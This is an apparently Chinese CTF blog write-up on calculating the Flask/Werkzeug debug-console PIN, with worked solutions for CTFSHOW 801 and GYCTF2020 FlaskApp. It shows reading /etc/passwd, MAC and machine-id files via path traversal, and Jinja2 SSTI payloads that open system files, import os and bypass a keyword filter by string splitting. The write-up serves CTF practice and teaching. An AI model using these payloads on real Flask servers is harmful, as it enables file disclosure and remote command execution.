Flask计算pin码
pin码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式
PIN生成要素
我们需要下面的各个因素,然后获得pin码,也就是console的密码,就可以自己输出命令
- username,用户名
- modname,默认值为flask.app
- appname,默认值为Flask
- moddir,flask库下app.py的绝对路径
- uuidnode,当前网络的mac地址的十进制数
- machine_id,docker机器id
username
通过getpass.getuser()读取,通过文件读取/etc/passwd
modname
通过getattr(mod,“file”,None)读取,默认值为flask.app
appname
通过getattr(app,“name”,type(app).name)读取,默认值为Flask
moddir
当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取
uuidnode
通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
machine_id
每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取
1 | /etc/machine-id |
PIN生成脚本
3.6通过md5加密,3.8通过sha1进行加密
1 | #MD5 |
1 | #sha1 |
如果需要手动生成cookie
,上传用于身份验证,从而实现命令执行,则在代码脚本的最后加上
1 | def hash_pin(pin: str) -> str: |
实战中如果找不到pin码提交的入口,可以访问/conslole试试
例题
CTFSHOW 801
moddir:看见了绝对地址,和python3.8
/file?filename=/etc/passwd
,username为root,modname和appname默认
/file?filename=/sys/class/net/eth0/address
这个242AC0CBEC7是十六进制,我们将其转化为十进制,拿到uuidnode为2485377613511
id:
1 | file?filename=/proc/sys/kernel/random/boot_id |
拼接得到id,225374fa-04bc-4346-9f39-48fa82829ca9c351f079ccfbe0fa8c060868cd0b50e0611170278854dd7c0812704415d43d44扔到3.8脚本中跑得到821-583-461,找到console输入这串,最后输入命令拿到flag
1 | import os |
[GYCTF2020]FlaskApp
打开环境是一个base64编解码的网站,右键源代码又发现<!-- PIN --->
,尝试/console
页面也发现需要pin密码,到这里可以猜到要利用Flask的Debug模式
在decode页面随意输入值发现报错,并泄露了源码
1 |
|
这里通过render_template_string
造成ssti注入,那么很容易想到通过ssti命令读取各个文件拿到相应的数据最后算出PIN
法一
读取/etc/passwd获取username
1 | {{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}} |
modname和appname仍为固定值flask.app、Flask,通过前面的报错也知道了app.py的绝对路径/usr/local/lib/python3.7/site-packages/flask/app.py
剩下的都和前面ctfshow的几乎一模一样,这里就不说了
法二
读源码{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
发现有过滤
1 | def waf(str): |
那我们就用字符串拼接绕过{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_f'+'lag.txt','r').read()}}{% endif %}{% endfor %}
还可以看一下newstarctf 2023 week5 pppython?这道题
https://blog.csdn.net/m0_73512445/article/details/133694293
- Title: Flask计算pin码
- Author: Saofe1a
- Created at : 2024-10-17 10:42:44
- Updated at : 2024-10-17 10:41:57
- Link: https://saofeia.github.io/2024/10/17/Flask计算pin码/
- License: This work is licensed under CC BY-NC-SA 4.0.